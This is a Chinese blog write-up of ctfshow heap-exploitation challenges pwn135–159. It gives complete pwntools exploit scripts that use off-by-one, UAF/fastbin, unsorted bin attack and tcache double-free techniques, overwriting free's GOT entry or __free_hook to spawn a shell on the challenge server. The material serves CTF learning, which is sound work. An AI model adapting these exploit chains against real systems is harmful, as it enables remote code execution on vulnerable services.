ctfshow [堆利用-前置基础] 135-159题--更新完毕

先把这篇博客放在这里有时间就更。主要是太懒了,又是颓废的一天。

pwn135

这题主要是让我们知道realloc,calloc,malloc三个函数的作用自己用gdb调试就行了。
运行输入4就能拿到flag

相关文章:malloc、realloc、calloc的区别

pwn136

free堆块反汇编代码简单易懂,直接输入4就能拿到flag。
至于free的原理自己百度就行了,太简单不想打字了。

pwn137

关于**sbrk()函数和brk()**函数可以参见《CTF竞赛权威指南》第11章。
芜湖
芜湖
相关链接:brk和sbrk

pwn138

当用户申请内存过大时,ptmalloc2会选择通过mmap()函数创建匿名映射段供用户使用,并通过unmmap()函数进行回收。
详细内容参见:《CTF竞赛权威指南 PWN篇》
相关链接:mmap函数的详细讲解
【Linux系统编程】25.mmap、munmap

pwn139-pwn140.(不想写,直接运行拿flag)

pwn141

简单的UAF,不写了

add(32, b'aaaa')
add(32, b'bbbb')

delete(0)
delete(1)

add(0x8, p32(0x8049684))

show(0)

pwn 142

edit函数中存在off-by-one漏洞。

exp如下:

from pwn import *
from LibcSearcher import *

# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./pwn"
io = remote("pwn.challenge.ctf.show", 28125)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/buu_libc-2.27-64.so")

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

gadget = [0x45216,0x4526a,0xf02a4,0xf1147]

def add(size,data):
	sla(b"Your choice :",b"1")
	sla(b"Size of Heap : ",str(size))
	ru(b"Content of heap:")
	s(data)

def edit(idx,data):
	sla(b"Your choice :",b"2")
	sla(b'Index :',str(idx))
	ru(b"Content of heap : ")
	s(data)

def show(idx):
	sla(b"Your choice :",b"3")
	sla(b'Index :',str(idx))


def free(idx):
	sla(b"Your choice :",b"4")
	sla(b'Index :',str(idx))

ptr_chunk = 0x6020A0
free_got = elf.got['free']
puts_addr = elf.plt['puts']

add(0x18,b"aaa")
add(0x18,b"aaa")
add(0x18,b"/bin/sh;")

edit(0,b"c"*0x18+p8(0x41))
free(1)
add(0x38,p64(0)*3+p64(0x21)+p64(0x100)+p64(free_got))
show(1)
free_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
libc = LibcSearcher("free",free_addr)
libc_base = free_addr-libc.dump("free")
system_addr = libc_base+libc.dump("system")
print("libc_base------------->:",hex(libc_base))

edit(1,p64(system_addr))
free(2)

# gdb.attach(io)

itr()

pwn 143

这里有后门函数,一开始没看到,打完才看到,所以我这里用的是常规方法。注意一下在got表中free的下一个地址是puts函数的,所以再改完free函数的got表时,还要把下一个地址换成puts函数的,不然要报错

from pwn import *
from LibcSearcher import *

# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./pwn"
io = remote("pwn.challenge.ctf.show", 28307)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/buu_libc-2.23-64.so")

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

gadget = [0x45216,0x4526a,0xf02a4,0xf1147]


def show():
	sla(b"Your choice:",b"1")

def add(size,data):
	sla(b"Your choice:",b"2")
	sla(b"Please enter the length:",str(size))
	ru(b"Please enter the name:")
	s(data)

def edit(idx,size,data):
	sla(b"Your choice:",b"3")
	sla(b"Please enter the index:",str(idx))
	sla(b"Please enter the length of name:",str(size))
	ru(b"Please enter the new name:")
	s(data)

def free(idx):
	sla(b"Your choice:",b"4")
	sla(b"Please enter the index:",str(idx))


fake_chunk = 0x6020A8-0x1b
free_got = elf.got['free']
puts_plt = elf.plt['puts']

add(0x60,b"aaaa")
add(0x60,b"aaaa")
add(0x60,b"/bin/sh;")

free(1)
edit(0,0x100,p64(0)*13+p64(0x71)+p64(fake_chunk))
add(0x60,b"aaaa")
add(0x60,b"a"*0xb+p64(free_got))

show()
free_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
libc_base = free_addr-libc.sym['free']
puts_addr = libc_base+libc.sym['puts']
system_addr = libc_base+libc.sym['system']
print("libc_base---------------->: ",hex(libc_base))

edit(0,0x100,p64(system_addr)+p64(puts_addr))
free(2)

# gdb.attach(io)

itr()

pwn 144

堆溢出+unsound bin attack ,简单题。

from pwn import *
from LibcSearcher import *

# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./pwn"
io = remote("pwn.challenge.ctf.show", 28146)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/libc-2.23.so")

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

gadget = [0x45216,0x4526a,0xf02a4,0xf1147]


def add(size,data):
	sla(b"Your choice :",b"1")
	sla(b"Size of Heap : ",str(size))
	ru(b"Content of heap:")
	s(data)


def edit(idx,size,data):
	sla(b"Your choice :",b"2")
	sla(b'Index :',str(idx))
	sla(b"Size of Heap : ",str(size))
	ru(b"Content of heap : ")
	s(data)

def free(idx):
	sla(b"Your choice :",b"3")
	sla(b"Index :",str(idx))


add(0x70,b"aaaa")
add(0x80,b"aaaa")
add(0x70,b"aaaa")

magic_addr = 0x6020A0

free(1)
edit(0,0x100,b"a"*0x70+p64(0)+p64(0x91)+p64(0)+p64(magic_addr-0x10))
add(0x80,b"aaaa")
sl(b"114514")


# gdb.attach(io)




itr()

pwn 145(命令执行,自己调试就行)

pwn 146

运行直接拿,不懂的自己百度。

pwn 147-158(直接运行,不想写了)

pwn 159

漏洞点

芜湖
这里可以看到read这里其实纯在一个off-by-one的漏洞,因为当我们输入的a2为2时理应只能读2个字符,但当v3等于1时还会再次读一个字符,导致多读了一个字符,存在off-by-one。但是最后又有一个 result = &a1[a2]; *result = 0; 这就导致了整个函数存在off-by-null。(当且仅当size=0xf8时存在)。

解题思路

首先这题是libc-2.27的存在tcachebins,我们得先泄露libc的地址才行。这里就要利用off-by-null的漏洞,利用unlink合并时unsorted bin的特性泄露mian_arenas。

for i in range(10):
	add(0xf0,b"aaaa")

for i in range(6):
	free(i)
free(9)

这里先创建10个chunk,因为tcachebins要填满7个才能进入unsorted bin。方便后续利用。然后再free掉7个chunk,这里free(9)时为了防止与top chunk合并。(如下图)

芜湖

for i in range(6,9):
	free(i)

for i in range(10):
	add(0xf0,b"aaaa")

然后再free掉chunk6,chunk7,chunk8。这三个chunk会进入unsorted bin合并为0x300大小的chunk。之后再全部申请回来,可以看到chunk的布局已经变了,如下图。

芜湖

for i in range(6):
	free(i)
free(8)
free(7)

add(0xf8,b"aaaa")
free(6)
free(9)

for i in range(7):
	add(0xf0,b"aaaa")

add(0xf0,b"bbbb")
show(0)

这里先free掉6个chunk,但没有free掉我们要操控的chunk6,7,8
然和free8让chunk7进入tcachebins,free7让chunk6进入unsorted bin。
芜湖
芜湖

然后申请回chunk7,这时候chunk8的size位已经被改了。然后再连续free两个,让chunk8进入unsorted bin。

到现在 我们要用的chunk6 ,chunk8,已经被真正free掉了,chunk7虽然也在unsorted bin中,但这个是被unlink合并了,并没有真正free
芜湖

芜湖

之后就是申请回7个chunk,再把chunk6申请回来,这时候main_arenas已经写进了chunk7。这时候show(0)就能打印出来了。
芜湖
接下来就是常规的double free了。这里再申请0xf0大小的chunk我们就能拿到两个chunk7。

add(0xf0,b"bbbb")
free(0)
free(1)
free(9)
add(0xf0,p64(free_hook))

for i in range(2,9):
	free(i)

for i in range(7):
	add(0xf0,b"aaaas")

add(0xf0,p64(one_gadget))

芜湖
最后double free改到free_hook处,写onegadget。

完整EXP

from pwn import *
from LibcSearcher import *

# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./pwn"
# io = remote("pwn.challenge.ctf.show", 28210)
io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/libc-2.27.so")

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

gadget = [0x4f2c5,0x4f322,0x10a38c,0xf1147]

def add(size,data):
	sla(b"> ",b"1")
	sla(b"> ",str(size))
	ru(b"> ")
	sl(data)

def free(idx):
	sla(b"> ",b"2")
	sla(b"> ",str(idx))


def show(idx):
	sla(b"> ",b"3")
	sla(b"> ",str(idx))


for i in range(10):
	add(0xf0,b"aaaa")

for i in range(6):
	free(i)

free(9)
for i in range(6,9):
	free(i)

for i in range(10):
	add(0xf0,b"aaaa")

for i in range(6):
	free(i)

free(8)
free(7)

add(0xf8,b"aaaa")
free(6)
free(9)

for i in range(8):
	add(0xf0,b"aaaa")

show(0)
main_arena = uu64(r(6))
libc_base = main_arena-0x10-96-libc.sym['__malloc_hook']
one_gadget = libc_base+gadget[1]
free_hook = libc_base+libc.sym['__free_hook']

print("libc_base-------------->: ",hex(libc_base))

add(0xf0,b"aaaa")

free(0)
free(9)

add(0xf0,p64(free_hook))
add(0xf0,b"aaaa")

for i in range(9):
	free(i)

for i in range(7):
	add(0xf0,b"aaaa")	

add(0xf0,p64(one_gadget))
free(1)



# gdb.attach(io)




itr()
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

saulgoodman-q

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值